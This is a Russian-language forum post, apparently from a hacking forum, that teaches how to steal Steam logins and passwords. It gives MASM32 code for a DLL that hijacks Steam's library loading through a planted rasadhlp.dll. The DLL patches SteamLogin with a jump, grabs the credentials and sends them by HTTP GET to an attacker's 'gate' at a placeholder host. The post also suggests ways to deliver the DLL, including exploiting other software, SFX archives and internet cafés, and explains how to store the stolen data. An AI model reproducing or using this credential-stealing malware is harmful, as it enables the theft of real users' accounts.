В связи с огромной популярностью сервиса [Ссылки могут видеть только зарегистрированные пользователи. ], решил написать простой пример осуществления перехвата вводимых данных при авторизации (логин и пароль) с дальнейшей отправкой на гейт.
Беглый поиск в интернете показал, что подобные примеры существуют, однако, зачастую громоздки, либо уже устарели.
Итак, для осуществления перехвата необходимо определить, куда передается управление при попытке авторизации в Стиме. Основой для взаимодействия с сервисом Steam является Steam.dll, которая экспортирует множество функций, в том числе и функцию SteamLogin, которая как раз и вызывается при попытке авторизации.
Таким образом необходимо реализовать «прослойку», которая будет выполняется перед вызовом этой функции и передавать введенные данные на наш гейт. Для начала нужно определить, возможно ли заставить Steam подгрузить нашу библиотеку без внесения изменения в оригинальные файлы.
Если запустить Steam и посмотреть, какие dll’ки и откуда пытается подгрузить исполняемый файл, то мы увидим примерно следующее (я смотрел с помощью FileMon, но уже давно существует более продвинутый [Ссылки могут видеть только зарегистрированные пользователи. ]):
[Ссылки могут видеть только зарегистрированные пользователи. ]
Как мы видим, подгружается множество библиотек, причем красным выделены неудачные попытки загрузки библиотек. При вызове LoadLibrary производится попытка найти некоторые системные библиотеки сначала в директории с исполняемым файлом, а уже потом в System32. Это позволяет сделать следующую вещь: выбрать какую-нибудь редкоиспользуемую системную библиотеку из тех, которые исполняемый файл сначала ищет в своей директории (например, rasadhlp.dll), создать свою библиотеку с таким же именем (которая будет сплайсить функцию SteamLogin) с пробросом экспортов в оригинальную библиотеку.
Условно это будет выглядеть следующим образом:
[Ссылки могут видеть только зарегистрированные пользователи. ]
При попытке вызова какой-либо экспортируемоей функции из нашей библиотеки, вызов будет перенаправлен в оригинальную библиотеку. И при загрузке наша библиотека запишет инструкцию вида jmp XXXXXXX в начало функции SteamLogin, что позволит предварительно отправить данные авторизации на гейт, а уже потом вернуться к выполнению оригинальной функции.
Код библиотеки на MASM32 приведен ниже:
PHP код:
.486 .model flat, stdcall option casemap :none
;Подключаем основные макросы и библиотеки include \masm32\include\windows.inc include \masm32\macros\macros.asm include \masm32\macros\windows.asm
uselib kernel32, masm32, user32, ws2_32
;Подключаем inc и lib файлы, необходимые для проброса экспортов в оригинальную dll include rasodhlp.inc includelib rasodhlp.lib
;Прототип функции отправки report proto :dword,:dword
Как создать файлы rasodhlp.lib и rasodhlp.inc, я поясню ниже. Смысл структуры JUMPNEAR описан в [Ссылки могут видеть только зарегистрированные пользователи. ]. Кстати, я не использовал полезные макросы из статьи про инжектор. Это связано с тем, что в данном случае осуществляется сплайсинг не winapi-функции, соответственно, у нее не такой пролог, как у большинства winapi, также требуется сохранять состояние регистров и флагов перед выполнением своих действий, да и нам не требуется осуществлять возврат в нашу функцию после вызова оригинальной SteamLogin.
Далее объявим необходимые переменные:
PHP код:
.data ;Адрес, по которому будут отправляться отчеты gate_path db "/gate.php",0 host db "yoursite.com",0
;Шаблон для GET-запроса ;Далее в коде вместо первого %s будет подставлена переменная gate_path, ;вместо второго - логин, вместо третьего - пароль, а вместо четвертого - переменная host request db "GET %s?var1=%s&var2=%s HTTP/1.0",0dh,0ah db "Host: %s",0dh,0ah db "Connection: Close",0dh,0ah,0dh,0ah,0
.data? ;Переменная для хранения адреса оригинальной функции SteamLogin steam_login dd ?
Пролог можно посмотреть в любом дизассемблере, для функции SteamLogin он выглядит следующим образом:
[Ссылки могут видеть только зарегистрированные пользователи. ]
Реализуем процедуру, которая будет выполняться до вызова оригинальной функции:
PHP код:
.code
;void (*SteamLogin)(char* User, char* Password, int isSecureComputer, TSteamError& SteamErr); ;Процедура, которая будет выполняться перед SteamLogin Steal: ;Пролог из оригинальной SteamLogin push ebp mov ebp,esp push -1 ;Сохраняем состояние регистров и флагов pushad pushfd ;При обращении к SteamLogin данные авторизации хранятся как в стеке, так и в регистрах eax,ecx invoke report,ecx,eax ;Восстанавливаем состояние регистров и флагов popfd popad
;Передаем управление в оригинальную процедуру SteamLogin push steam_login add dword ptr[esp], 5 retn
Теперь процедуру отправки данных на гейт:
PHP код:
;Процедура отправки данных на сервер report proc login:dword,passw:dword local buffer[512] : byte local sock : dword local wsa : WSADATA local saddr : sockaddr_in
LibMain proc instance:dword,reason:dword,reserved:dword local pr : dword local hl : dword local path1[512] : dword local path2[512] : dword
.if reason == DLL_PROCESS_ATTACH ;Получаем путь к System32 invoke GetSystemDirectory,addr path1,512 ;Получаем путь к Steam.exe invoke GetAppPath,addr path2
invoke wsprintf,addr path1,chr$("%s\%s"),addr path1,chr$("rasadhlp.dll") invoke wsprintf,addr path2,chr$("%s\%s"),addr path2,chr$("rasodhlp.dll") ;Копируем dll в директорию стима invoke CopyFile,addr path1,addr path2,0 .if eax == 0 ret .endif ;Загружать скопированную библиотеку в память необязательно, т.к. загрузчик сам её ;загрузит при вызове GetProcAddress
;Помещаем в hl хендл dll стима mov hl,FUNC(GetModuleHandle,chr$("Steam.dll")) ;Помещаем в steam_login адрес процедуры SteamLogin из Steam.dll mov steam_login,FUNC(GetProcAddress,hl,chr$("SteamLogin"))
;Изменяем атрибуты защиты памяти invoke VirtualProtect,steam_login,sizeof JUMPNEAR,PAGE_READWRITE,addr pr ;Помещаем в начало процедуры SteamLogin конструкцию вида jmp XXXXXXXX, ;где XXXXXXXX - адрес процедуры Steal mov eax,steam_login assume eax: ptr JUMPNEAR mov [eax].opcd, 0e9h mov ecx,offset Steal sub ecx,steam_login sub ecx,5 mov [eax].reladdr,ecx assume eax:nothing
и файлы rasodhlp.lib и rasodhlp.inc, которые необходимы для компиляции. Чтобы создать файл rasodhlp.inc, необходимо посмотреть в дизассемблере экспорты оригинальной библиотеки
[Ссылки могут видеть только зарегистрированные пользователи. ]
и определить количество аргументов, которые передаются в эти функции, чтобы составить прототипы.
Я ориентировался исключительно по инструкции retn (т.е. число после retn / 4 = количество аргументов):
[Ссылки могут видеть только зарегистрированные пользователи. ]
Вот что у меня получилось:
Цитата:
AcsHlpAttemptConnection PROTO :DWORD
AcsHlpNbConnection PROTO :DWORD
AcsHlpNoteNewConnection PROTO :DWORD,:DWORD
WSAttemptAutodialAddr PROTO :DWORD,:DWORD
WSAttemptAutodialName PROTO :DWORD
WSNoteSuccessfulHostentLookup PROTO :DWORD,:DWORD
Для создания lib-файла понадобится программа inc2l, которая обычно есть в комплекте MASM32. Для большей похожести на оригинал можно ещё создать .rc файл с информацией о версии dll’ки:
Теперь можно и скомпилировать все это дело. Пакет для компиляции можно взять из [Ссылки могут видеть только зарегистрированные пользователи. ]. После компиляции получим свою кастомную rasadhlp.dll, которую необходимо поместить в директорию с файлом Steam.exe. Сделать это можно разными способами, например, воспользоваться уязвимостью [Ссылки могут видеть только зарегистрированные пользователи. ] в каком-либо стороннем приложении, сделать sfx-архив, который будет пытаться скопировать библиотеку в возможные места расположения стима после распаковки или банально прийти в какое-нибудь интернет-кафе, куда имеют обыкновение ходить игроки в продукты Steam (в США таких мест довольно много).
И, напоследок, код гейта, на который будут приходить реквизиты доступа:
Не забудьте создать файл log.txt, проставить на него права доступа 777 и закинуть в директорию файл .htaccess:
PHP код:
<Files log.txt> order allow,deny deny from all </Files>
Тогда собранные данные не попадут в чужие руки.
Исходники одним архивом: [Ссылки могут видеть только зарегистрированные пользователи. ]
Все ссылки на сайт автора.